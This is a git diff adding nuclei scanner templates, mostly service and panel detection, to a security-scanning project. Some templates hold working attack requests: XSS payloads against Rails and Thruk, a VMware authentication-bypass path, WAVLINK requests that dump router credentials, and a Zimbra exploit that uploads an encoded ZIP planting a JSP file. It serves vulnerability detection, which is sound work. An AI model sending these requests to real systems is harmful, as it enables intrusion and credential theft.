a/config/nuclei-templates/51pwn/rails6-xss.yaml b/config/nuclei-templates/51pwn/rails6-xss.yaml new file mode 100644 index 000000000..39e224384 --- /dev/null +++ b/config/nuclei-templates/51pwn/rails6-xss.yaml @@ -0,0 +1,26 @@ +id: rails6-xss +info: + name: Rails CRLF XSS (6.0.0 < rails < 6.0.3.2) + author: + - l0ne1y +requests: +- matchers: + - type: word + part: body + words: + - javascript:alert(1) + - type: status + status: + - 302 + - type: word + condition: and + part: header + words: + - 'Location: javascript:alert(22)' + - text/html + matchers-condition: and + redirects: false + path: + - '{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0ajavascript:alert(22)' + method: POST + diff --git a/config/nuclei-templates/cves/2022/CVE-2022-23348.yaml b/config/nuclei-templates/cves/2022/CVE-2022-23348.yaml new file mode 100644 index 000000000..64d7a50af --- /dev/null +++ b/config/nuclei-templates/cves/2022/CVE-2022-23348.yaml @@ -0,0 +1,45 @@ +id: CVE-2022-23348 + +info: + name: BigAnt Server v5.6.06 - Improper Access control + author: arafatansari + severity: medium + description: | + BigAnt Server v5.6.06 suffers from Use of Password Hash With Insufficient Computational Effort. + reference: + - https://github.com/bzyo/cve-pocs/tree/master/CVE-2022-23348 + - https://nvd.nist.gov/vuln/detail/CVE-2022-23348 + - http://bigant.com + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2022-23348 + cwe-id: CWE-916 + metadata: + shodan-query: http.html:"bigant" + verified: "true" + tags: cve,cve2022,bigant,unauth,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/Runtime/Data/ms_admin.php" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"user_name";' + - '"user_pwd";' + - '"user_id";' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/config/nuclei-templates/cves/2022/CVE-2022-31656.yaml b/config/nuclei-templates/cves/2022/CVE-2022-31656.yaml new file mode 100644 index 000000000..aa0c7698f --- /dev/null +++ b/config/nuclei-templates/cves/2022/CVE-2022-31656.yaml @@ -0,0 +1,45 @@ +id: CVE-2022-31656 + +info: + name: VMware - Authentication Bypass + author: DhiyaneshDk + severity: critical + description: | + VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate. + reference: + - https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd + - https://www.vmware.com/security/advisories/VMSA-2022-0021.html + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31656 + - https://nvd.nist.gov/vuln/detail/CVE-2022-31656 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-31656 + cwe-id: CWE-287 + metadata: + shodan-query: http.favicon.hash:-1250474341 + verified: "true" + tags: cve,cve2022,vmware,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/SAAS/t/_/;/WEB-INF/web.xml" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + condition: and + + - type: word + part: header + words: + - "application/xml" + + - type: status + status: + - 200 diff --git a/config/nuclei-templates/cves/2022/CVE-2022-31845.yaml b/config/nuclei-templates/cves/2022/CVE-2022-31845.yaml new file mode 100644 index 000000000..6977d3215 --- /dev/null +++ b/config/nuclei-templates/cves/2022/CVE-2022-31845.yaml @@ -0,0 +1,41 @@ +id: CVE-2022-31845 + +info: + name: WAVLINK WN535 G3 - Information Disclosure + author: arafatansari + severity: high + description: | + A vulnerability in live_check.shtml of WAVLINK WN535 G3 M35G3R.V5030.180927 allows attackers to obtain sensitive router information via execution of the exec cmd function. + reference: + - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3__check_live.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-31845 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30489 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-31845 + cwe-id: CWE-668 + metadata: + shodan-query: http.html:"Wavlink" + verified: "true" + tags: cve,cve2022,wavlink,exposure + +requests: + - raw: + - | + @timeout: 10s + GET /live_check.shtml HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + words: + - 'Model=' + - 'FW_Version=' + - 'LanIP=' + condition: and + + - type: status + status: + - 200 diff --git a/config/nuclei-templates/cves/2022/CVE-2022-31847.yaml b/config/nuclei-templates/cves/2022/CVE-2022-31847.yaml new file mode 100644 index 000000000..c7fc03b56 --- /dev/null +++ b/config/nuclei-templates/cves/2022/CVE-2022-31847.yaml @@ -0,0 +1,39 @@ +id: CVE-2022-31847 + +info: + name: WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure + author: arafatansari + severity: high + description: | + A vulnerability in /cgi-bin/ExportAllSettings.sh of WAVLINK WN579 X3 M79X3.V5030.180719 allows attackers to obtain sensitive router information via a crafted POST request. + reference: + - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN579%20X3__Sensitive%20information%20leakage.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-31847 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-31847 + cwe-id: CWE-668 + metadata: + shodan-query: http.html:"Wavlink" + verified: "true" + tags: cve,cve2022,wavlink,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh" + + matchers-condition: and + matchers: + - type: word + words: + - 'Login=' + - 'Password=' + - 'Model=' + - 'AuthMode=' + condition: and + + - type: status + status: + - 200 diff --git a/config/nuclei-templates/cves/2022/CVE-2022-37042.yaml b/config/nuclei-templates/cves/2022/CVE-2022-37042.yaml new file mode 100644 index 000000000..0d04f0035 --- /dev/null +++ b/config/nuclei-templates/cves/2022/CVE-2022-37042.yaml @@ -0,0 +1,46 @@ +id: CVE-2022-37042 + +info: + name: Zimbra Collaboration Suite - Unauthenticated RCE + author: _0xf4n9x_,For3stCo1d + severity: critical + description: | + Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. This issue exists because of an incomplete fix for CVE-2022-27925. + reference: + - https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-37042 + - https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/ + - https://github.com/vnhacker1337/CVE-2022-27925-PoC + metadata: + fofa-query: app="zimbra-邮件系统" + shodan-query: http.favicon.hash:"1624375939" + tags: cve,cve2022,zimbra,rce,unauth,kev + +requests: + - raw: + - | + POST {{path}} HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + content-type: application/x-www-form-urlencoded + + {{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}} + + - | + GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1 + Host: {{Hostname}} + + payloads: + path: + - /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1 + - /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd + + stop-at-first-match: true + req-condition: true + matchers: + - type: dsl + dsl: + - 'status_code_1 == 401' + - 'status_code_2 == 200' + - "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')" + condition: and \ No newline at end of file diff --git a/config/nuclei-templates/exposed-panels/nagios-panel.yaml b/config/nuclei-templates/exposed-panels/nagios-panel.yaml new file mode 100644 index 000000000..38861bee2 --- /dev/null +++ b/config/nuclei-templates/exposed-panels/nagios-panel.yaml @@ -0,0 +1,28 @@ +id: nagios-panel + +info: + name: Nagios Panel Detect + author: ritikchaddha + severity: info + metadata: + verified: true + shodan-query: http.title:"nagios" + tags: panel,nagios + +requests: + - method: GET + path: + - "{{BaseURL}}/nagios" + - "{{BaseURL}}/nagios3" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'Nagios Access' + + - type: status + status: + - 401 diff --git a/config/nuclei-templates/exposed-panels/nagios-xi-panel.yaml b/config/nuclei-templates/exposed-panels/nagios-xi-panel.yaml new file mode 100644 index 000000000..3efcbd958 --- /dev/null +++ b/config/nuclei-templates/exposed-panels/nagios-xi-panel.yaml @@ -0,0 +1,32 @@ +id: nagios-xi-panel + +info: + name: Nagios XI Panel Detect + author: ritikchaddha + severity: info + metadata: + verified: true + shodan-query: http.title:"Nagios XI" + tags: panel,nagios,nagios-xi + +requests: + - method: GET + path: + - "{{BaseURL}}" + - "{{BaseURL}}/nagiosxi/login.php" + + stop-at-first-match: true + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'alt="Nagios XI' + - '/nagiosxi/includes' + condition: or + + - type: status + status: + - 200 diff --git a/config/nuclei-templates/exposed-panels/ocs-inventory-login.yaml b/config/nuclei-templates/exposed-panels/ocs-inventory-login.yaml index 4bbd1e8f3..de2cafbe0 100644 --- a/config/nuclei-templates/exposed-panels/ocs-inventory-login.yaml +++ b/config/nuclei-templates/exposed-panels/ocs-inventory-login.yaml @@ -2,9 +2,11 @@ id: ocs-inventory-login info: name: OCS Inventory Login Panel - author: pikpikcu + author: pikpikcu,ritikchaddha severity: info metadata: + verified: true + shodan-query: title:"OCS Inventory" fofa-query: title="OCS Inventory" tags: ocs-inventory,panel @@ -12,7 +14,9 @@ requests: - method: GET path: - "{{BaseURL}}" + - "{{BaseURL}}/ocsreports" + stop-at-first-match: true redirects: true max-redirects: 2 matchers-condition: and @@ -20,7 +24,7 @@ requests: - type: word part: body words: - - 'OCS Inventory' + - 'OCS Inventory' - type: status status: diff --git a/config/nuclei-templates/exposures/configs/behat-config.yaml b/config/nuclei-templates/exposures/configs/behat-config.yaml new file mode 100644 index 000000000..09303ff8a --- /dev/null +++ b/config/nuclei-templates/exposures/configs/behat-config.yaml @@ -0,0 +1,32 @@ +id: behat-config + +info: + name: Behat Configuration File Exposure + author: DhiyaneshDK + severity: low + metadata: + verified: true + shodan-query: html:"behat.yml" + reference: https://docs.behat.org/en/v2.5/guides/7.config.html + tags: exposure,behat,devops,cicd + +requests: + - method: GET + path: + - "{{BaseURL}}/behat.yml" + - "{{BaseURL}}/behat.yml.dist" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'default:' + - 'paths:' + - 'suites:' + condition: and + + - type: status + status: + - 200 diff --git a/config/nuclei-templates/exposures/configs/phpsec-config.yaml b/config/nuclei-templates/exposures/configs/phpsec-config.yaml new file mode 100644 index 000000000..75bf61c00 --- /dev/null +++ b/config/nuclei-templates/exposures/configs/phpsec-config.yaml @@ -0,0 +1,31 @@ +id: phpsec-config + +info: + name: Phpspec Configuration File Exposure + author: DhiyaneshDK + severity: info + metadata: + verified: true + shodan-query: html:"phpspec.yml" + reference: https://phpspec.net/en/stable/cookbook/configuration.html + tags: exposure,phpsec,php,devops,cicd + +requests: + - method: GET + path: + - "{{BaseURL}}/.phpspec.yml" + - "{{BaseURL}}/phpspec.yml" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - 'suites:' + - 'main:' + - 'namespace:' + condition: and + + - type: status + status: + - 200 diff --git a/config/nuclei-templates/exposures/configs/pyproject-toml.yaml b/config/nuclei-templates/exposures/configs/pyproject-toml.yaml new file mode 100644 index 000000000..59e9c3b94 --- /dev/null +++ b/config/nuclei-templates/exposures/configs/pyproject-toml.yaml @@ -0,0 +1,31 @@ +id: pyproject-toml + +info: + name: Pyproject.toml Configuration Exposure + author: DhiyaneshDK + severity: info + metadata: + verified: true + shodan-query: html:"pyproject.toml" + tags: exposure,pyproject,pip,devops,cicd + +requests: + - method: GET + path: + - "{{BaseURL}}/pyproject.toml" + + matchers-condition: or + matchers: + - type: word + part: body + words: + - "[tool.black]" + - "exclude =" + condition: or + + - type: word + part: body + words: + - "[tool.poetry]" + - "name =" + condition: or diff --git a/config/nuclei-templates/exposures/files/uwsgi-ini.yaml b/config/nuclei-templates/exposures/files/uwsgi-ini.yaml new file mode 100644 index 000000000..c2a123318 --- /dev/null +++ b/config/nuclei-templates/exposures/files/uwsgi-ini.yaml @@ -0,0 +1,26 @@ +id: uwsgi-ini + +info: + name: uwsgi.ini File Exposure + author: DhiyaneshDK + severity: info + metadata: + verified: true + shodan-query: html:"uwsgi.ini" + tags: exposure,uwsgi + +requests: + - method: GET + path: + - "{{BaseURL}}/uwsgi.ini" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '[uwsgi]' + + - type: status + status: + - 200 diff --git a/config/nuclei-templates/network/cowrie-honeypot-detect.yaml b/config/nuclei-templates/network/cowrie-honeypot-detect.yaml index 91814a41b..77c09b5ca 100644 --- a/config/nuclei-templates/network/cowrie-honeypot-detect.yaml +++ b/config/nuclei-templates/network/cowrie-honeypot-detect.yaml @@ -4,6 +4,8 @@ info: name: Cowrie SSH Honeypot Detect author: thesubtlety severity: info + description: | + Cowrie is a medium to high interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker. In medium interaction mode (shell) it emulates a UNIX system in Python, in high interaction mode (proxy) it functions as an SSH and telnet proxy to observe attacker behavior to another system. reference: - https://web.archive.org/web/20170826075224/https://morris.sc/detecting-kippo-ssh-honeypots/ - https://github.com/blazeinfosec/detect-kippo-cowrie/blob/master/detectKippoCowrie.py diff --git a/config/nuclei-templates/network/detect-addpac-voip-gateway.yaml b/config/nuclei-templates/network/detect-addpac-voip-gateway.yaml index 9691d398f..be3fa733f 100644 --- a/config/nuclei-templates/network/detect-addpac-voip-gateway.yaml +++ b/config/nuclei-templates/network/detect-addpac-voip-gateway.yaml @@ -4,6 +4,8 @@ info: name: Detect AddPac Technology GSM VoIP Gateway author: geeknik severity: info + description: | + AddPac GSM Gateway solution provides GSM VoIP gateway function from 1 Port up to 80 Ports. reference: - http://www.addpac.com/addpac_eng2/down.php?file=505_f16.pdf tags: network,addpac,apos,voip diff --git a/config/nuclei-templates/network/detect-rsyncd.yaml b/config/nuclei-templates/network/detect-rsyncd.yaml index ae708e9ac..e380bc6d3 100644 --- a/config/nuclei-templates/network/detect-rsyncd.yaml +++ b/config/nuclei-templates/network/detect-rsyncd.yaml @@ -4,6 +4,8 @@ info: name: Detect rsyncd author: vsh00t,geeknik severity: info + description: | + Rsync is a fast and extraordinarily versatile file copying tool. It can copy locally, to/from another host over any remote shell, or to/from a remote rsync daemon. reference: - https://linux.die.net/man/1/rsync tags: network,rsyncd diff --git a/config/nuclei-templates/network/expn-mail-detect.yaml b/config/nuclei-templates/network/expn-mail-detect.yaml index 729fe47f7..f7e32264f 100644 --- a/config/nuclei-templates/network/expn-mail-detect.yaml +++ b/config/nuclei-templates/network/expn-mail-detect.yaml @@ -4,6 +4,8 @@ info: name: EXPN Mail Server Detect author: r3dg33k severity: info + description: | + The "EXPN" can be used by attackers to learn about valid usernames on the target system. On some SMTP servers, EXPN can be used to show the subscribers of a mailing list subscription lists are generally considered to be sensitive information. tags: mail,expn,network network: @@ -19,4 +21,4 @@ network: matchers: - type: word words: - - "250-EXPN" \ No newline at end of file + - "250-EXPN" diff --git a/config/nuclei-templates/network/ftp-default-credentials.yaml b/config/nuclei-templates/network/ftp-default-credentials.yaml index 8f87be934..0f0c5eecb 100644 --- a/config/nuclei-templates/network/ftp-default-credentials.yaml +++ b/config/nuclei-templates/network/ftp-default-credentials.yaml @@ -5,6 +5,8 @@ info: author: pussycat0x severity: info tags: network,ftp,default-login,service + description: | + Using the Internet's File Transfer Protocol (FTP), anonymous FTP is a method for giving users access to files so that they don't need to identify themselves to the server. network: diff --git a/config/nuclei-templates/network/gopher-detection.yaml b/config/nuclei-templates/network/gopher-detection.yaml index 03c51b95f..e1aa095d9 100644 --- a/config/nuclei-templates/network/gopher-detection.yaml +++ b/config/nuclei-templates/network/gopher-detection.yaml @@ -5,6 +5,8 @@ info: author: pry0cc severity: info tags: network,gopher + description: | + Gopher is an application-layer protocol that provides the ability to extract and view Web documents stored on remote Web servers. network: - inputs: @@ -16,4 +18,4 @@ network: matchers: - type: dsl dsl: - - "contains(to_lower(raw), 'gopher')" \ No newline at end of file + - "contains(to_lower(raw), 'gopher')" diff --git a/config/nuclei-templates/network/iplanet-imap-detect.yaml b/config/nuclei-templates/network/iplanet-imap-detect.yaml index 0b01c5bdd..d9cbf22df 100644 --- a/config/nuclei-templates/network/iplanet-imap-detect.yaml +++ b/config/nuclei-templates/network/iplanet-imap-detect.yaml @@ -7,6 +7,8 @@ info: metadata: fofa-query: app="iPlanet-Messaging-Server-5.2" && protocol="imap" tags: network,imap + description: | + iPlanet Messaging Server is a powerful, standards-based Internet messaging server designed for high-capacity, reliable handling of the messaging needs. network: - inputs: diff --git a/config/nuclei-templates/network/java-rmi-detect.yaml b/config/nuclei-templates/network/java-rmi-detect.yaml index 798a559d0..fd7523ae1 100644 --- a/config/nuclei-templates/network/java-rmi-detect.yaml +++ b/config/nuclei-templates/network/java-rmi-detect.yaml @@ -5,6 +5,8 @@ info: author: F1tz severity: info tags: network,rmi,java + description: | + A security vulnerability in the Remote Method Invocation component of the Java Runtime Environment allows unauthenticated network attacks which can result in unauthorized operating system takeover including arbitrary code execution. network: - inputs: diff --git a/config/nuclei-templates/network/memcached-stats.yaml b/config/nuclei-templates/network/memcached-stats.yaml index 0ebe54979..4f28cc7f8 100644 --- a/config/nuclei-templates/network/memcached-stats.yaml +++ b/config/nuclei-templates/network/memcached-stats.yaml @@ -5,6 +5,8 @@ info: author: pdteam severity: low tags: network,memcached + description: | + Memcached stats is used to return server statistics such as PID, version, connections, etc. network: - inputs: @@ -18,4 +20,4 @@ network: matchers: - type: word words: - - "STAT " \ No newline at end of file + - "STAT " diff --git a/config/nuclei-templates/network/mongodb-detect.yaml b/config/nuclei-templates/network/mongodb-detect.yaml index 6aa1bb133..dc9332f65 100644 --- a/config/nuclei-templates/network/mongodb-detect.yaml +++ b/config/nuclei-templates/network/mongodb-detect.yaml @@ -7,6 +7,8 @@ info: reference: - https://github.com/orleven/Tentacle tags: network,mongodb + description: | + MongoDB is an open source NoSQL database management program. NoSQL is used as an alternative to traditional relational databases. network: - inputs: @@ -22,4 +24,4 @@ network: - type: word words: - "logicalSessionTimeout" - - "localTime" \ No newline at end of file + - "localTime" diff --git a/config/nuclei-templates/network/openssh-detection.yaml b/config/nuclei-templates/network/openssh-detection.yaml index dc5ba0813..9da8374ab 100644 --- a/config/nuclei-templates/network/openssh-detection.yaml +++ b/config/nuclei-templates/network/openssh-detection.yaml @@ -11,6 +11,9 @@ info: - https://nvd.nist.gov/vuln/detail/CVE-2018-15473 - http://seclists.org/fulldisclosure/2016/Jul/51 tags: network,ssh,openssh + description: | + OpenSSH is the premier connectivity tool for remote login with the SSH protocol. It encrypts all traffic to eliminate eavesdropping, connection hijacking, and other attacks. In addition, OpenSSH provides a large suite of secure tunneling capabilities, several authentication methods, and sophisticated configuration options. + network: - host: @@ -25,4 +28,4 @@ network: extractors: - type: regex regex: - - '(?i)SSH-(.*)-OpenSSH_[^\r]+' \ No newline at end of file + - '(?i)SSH-(.*)-OpenSSH_[^\r]+' diff --git a/config/nuclei-templates/network/printers-info-leak.yaml b/config/nuclei-templates/network/printers-info-leak.yaml index d2b14091b..c593bbc80 100644 --- a/config/nuclei-templates/network/printers-info-leak.yaml +++ b/config/nuclei-templates/network/printers-info-leak.yaml @@ -7,6 +7,8 @@ info: reference: - https://book.hacktricks.xyz/pentesting/9100-pjl tags: network,iot,printer + description: | + Unauthorized access to printers allows attackers to print, eavesdrop sensitive documents. network: - inputs: diff --git a/config/nuclei-templates/network/rdp-detect.yaml b/config/nuclei-templates/network/rdp-detect.yaml index 496212f98..cb9659537 100644 --- a/config/nuclei-templates/network/rdp-detect.yaml +++ b/config/nuclei-templates/network/rdp-detect.yaml @@ -7,6 +7,8 @@ info: metadata: verified: true tags: network,windows,rdp + description: | + Remote Desktop Protocol allows users to connect and control remote server easily. network: - inputs: diff --git a/config/nuclei-templates/network/sap-router.yaml b/config/nuclei-templates/network/sap-router.yaml index 23b62d260..b22f9a69c 100644 --- a/config/nuclei-templates/network/sap-router.yaml +++ b/config/nuclei-templates/network/sap-router.yaml @@ -5,6 +5,8 @@ info: author: randomstr1ng severity: info tags: network,sap + description: | + SAProuter is a software application that provides a remote connection between our customer's network and SAP. network: - inputs: @@ -19,4 +21,4 @@ network: matchers: - type: word words: - - "SAProuter" \ No newline at end of file + - "SAProuter" diff --git a/config/nuclei-templates/network/smb-v1-detection.yaml b/config/nuclei-templates/network/smb-v1-detection.yaml index 60c62d9bc..a9cc2a98a 100644 --- a/config/nuclei-templates/network/smb-v1-detection.yaml +++ b/config/nuclei-templates/network/smb-v1-detection.yaml @@ -7,6 +7,8 @@ info: reference: - https://stealthbits.com/blog/what-is-smbv1-and-why-you-should-disable-it/ tags: network,windows,smb,service + description: | + SMB (Server Message Block) is a network-layered protocol mainly used on Windows for sharing files, printers, and communication between network-attached computers. SMB related vulnerabilities can be levaraged to comprimise large-scale systems. network: - inputs: @@ -20,4 +22,4 @@ network: matchers: - type: word words: - - "SMBr" \ No newline at end of file + - "SMBr" diff --git a/config/nuclei-templates/network/smtp-detection.yaml b/config/nuclei-templates/network/smtp-detection.yaml index 422432f0d..2993c920d 100644 --- a/config/nuclei-templates/network/smtp-detection.yaml +++ b/config/nuclei-templates/network/smtp-detection.yaml @@ -5,6 +5,8 @@ info: author: pussycat0x severity: info tags: network,service,smtp + description: | + SMTP is part of the application layer of the TCP/IP protocol. Using a process called “store and forward,” SMTP moves your email on and across networks. network: - inputs: diff --git a/config/nuclei-templates/network/starttls-mail-detect.yaml b/config/nuclei-templates/network/starttls-mail-detect.yaml index 84a931f33..aa1cf6098 100644 --- a/config/nuclei-templates/network/starttls-mail-detect.yaml +++ b/config/nuclei-templates/network/starttls-mail-detect.yaml @@ -5,6 +5,8 @@ info: author: r3dg33k severity: info tags: mail,starttls,network + description: | + STARTTLS is an email protocol command that tells an email server that an email client, including an email client running in a web browser, wants to turn an existing insecure connection into a secure one. network: - inputs: diff --git a/config/nuclei-templates/network/totemomail-smtp-detect.yaml b/config/nuclei-templates/network/totemomail-smtp-detect.yaml index fb7658504..c7b50abde 100644 --- a/config/nuclei-templates/network/totemomail-smtp-detect.yaml +++ b/config/nuclei-templates/network/totemomail-smtp-detect.yaml @@ -5,6 +5,8 @@ info: author: princechaddha severity: info tags: mail,smtp,network,totemomail + description: | + Totemomail is a comprehensive email solution designed to address all aspects of digital communication security. network: - inputs: diff --git a/config/nuclei-templates/network/unauth-ftp.yaml b/config/nuclei-templates/network/unauth-ftp.yaml index e3c21171f..01d4d9ec7 100644 --- a/config/nuclei-templates/network/unauth-ftp.yaml +++ b/config/nuclei-templates/network/unauth-ftp.yaml @@ -7,6 +7,9 @@ info: reference: - https://tools.ietf.org/html/rfc2577 tags: network,ftp + description: | + Anonymous FTP access allows anyone to access your public_ftp folder, allowing unidentified visitors to download (and possibly upload) files on your website. Anonymous FTP creates the potential for a security hole for hackers and is not recommended. + network: - inputs: @@ -20,4 +23,4 @@ network: - type: word words: - "Anonymous access allowed," - part: response \ No newline at end of file + part: response diff --git a/config/nuclei-templates/network/weblogic-iiop-detect.yaml b/config/nuclei-templates/network/weblogic-iiop-detect.yaml index 1aae2ded8..221ba8cbc 100644 --- a/config/nuclei-templates/network/weblogic-iiop-detect.yaml +++ b/config/nuclei-templates/network/weblogic-iiop-detect.yaml @@ -4,8 +4,9 @@ info: name: Detect Weblogic IIOP Protocol author: F1tz severity: info - description: Check IIOP protocol status. tags: network,weblogic + description: | + The IIOP (Internet Inter-ORB Protocol) protocol makes it possible for distributed programs written in different programming languages to communicate over the Internet. network: - inputs: diff --git a/config/nuclei-templates/network/weblogic-t3-detect.yaml b/config/nuclei-templates/network/weblogic-t3-detect.yaml index 79f4887cf..048e85501 100644 --- a/config/nuclei-templates/network/weblogic-t3-detect.yaml +++ b/config/nuclei-templates/network/weblogic-t3-detect.yaml @@ -4,8 +4,9 @@ info: name: Detect Weblogic T3 Protocol author: F1tz,milo2012,wdahlenb severity: info - description: Check T3 protocol status. tags: network,weblogic + description: | + T3 is the protocol used to transport information between WebLogic servers and other types of Java programs. network: - inputs: diff --git a/config/nuclei-templates/vulnerabilities/other/thruk-xss.yaml b/config/nuclei-templates/vulnerabilities/other/thruk-xss.yaml index 5a5051619..c1d890aea 100644 --- a/config/nuclei-templates/vulnerabilities/other/thruk-xss.yaml +++ b/config/nuclei-templates/vulnerabilities/other/thruk-xss.yaml @@ -1,12 +1,17 @@ id: thruk-xss info: - name: Thruk Monitoring Webinterface - XSS - author: pikpikcu + name: Thruk Monitoring Webinterface - Cross Site Scripting + author: pikpikcu,ritikchaddha severity: medium + description: | + Thruk login page is vulnerable to Reflected XSS via the login parameter at /thruk/cgi-bin/login.cgi. reference: - https://www.thruk.org/download.html - tags: xss,thruk + metadata: + verified: true + shodan-query: http.html:"Thruk" + tags: thruk,xss requests: - raw: @@ -14,22 +19,20 @@ requests: POST /thruk/cgi-bin/login.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - Referer: {{Hostname}}/thruk/cgi-bin/login.cgi?thruk - referer=%2Fthruk&login=--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&password=Thruk+Monitoring+Webinterface + referer=&login=%22%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%40gmail.com&password=test&submit=Login matchers-condition: and matchers: - - type: status - status: - - 200 - - type: word - part: body words: - - "</script><script>alert(document.domain)</script>" + - "<svg/onload=alert(document.domain)>\"@gmail.com') called at" - type: word part: header words: - "text/html" + + - type: status + status: + - 500 diff --git a/go.mod b/go.mod index 350a11f29..92a865b00 100644 --- a/go.mod +++ b/go.mod @@ -6,22 +6,21 @@ go 1.18 require ( github.com/google/gopacket v1.1.19 github.com/phayes/freeport v0.0.0-20220201140144-74d24b5ae9f5 - github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e + github.com/projectdiscovery/blackrock v0.0.0-20220628111055-35616c71b2dc github.com/projectdiscovery/cdncheck v0.0.4-0.20220322144854-b2d8ce308abb github.com/projectdiscovery/clistats v0.0.8 - github.com/projectdiscovery/dnsx v1.0.7-0.20210927160546-05f957862698 + github.com/projectdiscovery/dnsx v1.0.9 github.com/projectdiscovery/fdmax v0.0.3 github.com/projectdiscovery/fileutil v0.0.0-20220705195237-01becc2a8963 github.com/projectdiscovery/goflags v0.0.8-0.20220610073650-5d31a8c159e3 github.com/projectdiscovery/gologger v1.1.4 github.com/projectdiscovery/ipranger v0.0.3-0.20210831161617-ac80efae0961 - github.com/projectdiscovery/iputil v0.0.0-20220620153941-036d511e4097 github.com/projectdiscovery/mapcidr v1.0.0 github.com/projectdiscovery/networkpolicy v0.0.1 github.com/remeh/sizedwaitgroup v1.0.0 go.uber.org/ratelimit v0.2.0 - golang.org/x/net v0.0.0-20220728211354-c7608f3a8462 - golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10 + golang.org/x/net v0.0.0-20220812174116-3211cb980234 + golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab ) require ( @@ -48,7 +47,7 @@ require ( github.com/projectdiscovery/stringsutil v0.0.0-20220712170325-48c50c332cb4 github.com/syndtr/goleveldb v1.0.0 // indirect github.com/yl2chen/cidranger v1.0.2 // indirect - go.uber.org/atomic v1.9.0 + go.uber.org/atomic v1.10.0 golang.org/x/text v0.3.7 gopkg.in/yaml.v2 v2.4.0 gopkg.in/yaml.v3 v3.0.1 // indirect @@ -65,11 +64,11 @@ require ( github.com/projectdiscovery/cryptoutil 